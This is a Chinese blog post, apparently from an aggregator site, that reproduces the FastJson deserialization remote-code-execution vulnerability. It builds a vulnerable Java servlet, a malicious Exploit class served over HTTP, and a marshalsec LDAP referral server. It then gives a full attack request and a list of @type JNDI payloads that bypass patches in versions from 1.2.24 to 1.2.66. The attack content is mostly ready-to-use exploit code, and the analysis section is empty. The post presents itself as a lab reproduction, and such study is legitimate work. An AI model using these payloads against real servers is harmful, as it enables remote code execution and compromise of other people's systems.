IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> FastJson反序列化漏洞复现附带多个版本的payload -> 正文阅读

[网络协议]FastJson反序列化漏洞复现附带多个版本的payload

1.漏洞环境搭建

  1. 打开IDEA,新建一个java web的项目在这里插入图片描述
  2. 修改HelloServlet.java文件输入一下代码
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.setContentType("text/html");
        StringBuffer jb = new StringBuffer();
        String line = null;
        try {
            BufferedReader reader = req.getReader();
            while ((line = reader.readLine()) != null)
                jb.append(line);
            System.out.println(jb);
        } catch (Exception e) { /*report an error*/ }
        try {
            JSON.parseObject(String.valueOf(jb));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
  3. 发现没有fastjson包,修改pom.xml文件在<dependencies>下面添加如下代码
		<dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.47</version>
        </dependency>

注意每次换版本的时候要清理一下mevan缓存,不知道怎么清理百度一下

2.攻击环境搭建

  1. 下载相应的工具:
    marshalsec下载地址:https://github.com/frohoff/marshalsec
    phpstudy下载地址:https://www.xp.cn/
  2. 运行apache服务在phpstudy的WWW目录下面创建一个Exploit.java的文件(让机器执行的代码,这里先由自动打开计算器来演示),代码如下:
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exploit{
    static{
		System.err.println("Pwned");
		try{
			String[] cmd = {"calc"};
			java.lang.Runtime.getRuntime().exec(cmd).waitFor();
		}catch(Exception e){
			e.printStackTrace();
		}
	}
}
  1. 使用jdk8的javac的版本生成class文件
    javac Exploit.java
  2. 使用mvn工具打包marshalec,进入marshalsec目录使用mvn命令如下
    mvn clean package -DskipTests
    打包完成之后会在target里面出现.jar的文件
  3. 执行如下命令开启ldap服务
    java -cp .\marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#Exploit"

3.攻击步骤

这里以1.2.47为例
1.对漏洞页面进行抓包,修改content-type为application/json,具体数据如下:

POST /demo1_war_exploded/hello-servlet HTTP/1.1
Host: 192.168.43.73:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 115

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true}};

在这里插入图片描述

  1. 配置好tomcat运行即可
  2. 运行成功后会自动打开,在URL后面添加/hello-servlet即可
  3. 运行之后就会看到电脑会弹出一个计算器
    在这里插入图片描述
    注意:如果要试验多个版本的payload可以修改pom.xml里面的fastjson的版本号,记得清楚mevan缓存

4.各个Fastjson版本的payload

下面%s是替换写入你的rmi或者ldap的链接

x<=1.2.24:
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}};
1.2.41
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"%s", "autoCommit":true}
1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"%s", "autoCommit":true}
1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"%s", "autoCommit":true}
1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"%s"}}
1.2.47
{"a":{"@type": "java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}
1.2.62
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"%s"}
1.2.66
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"%s"} 

3.漏洞解析

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2021-09-04 17:54:21  更:2021-09-04 17:55:26 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/20 17:12:21-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码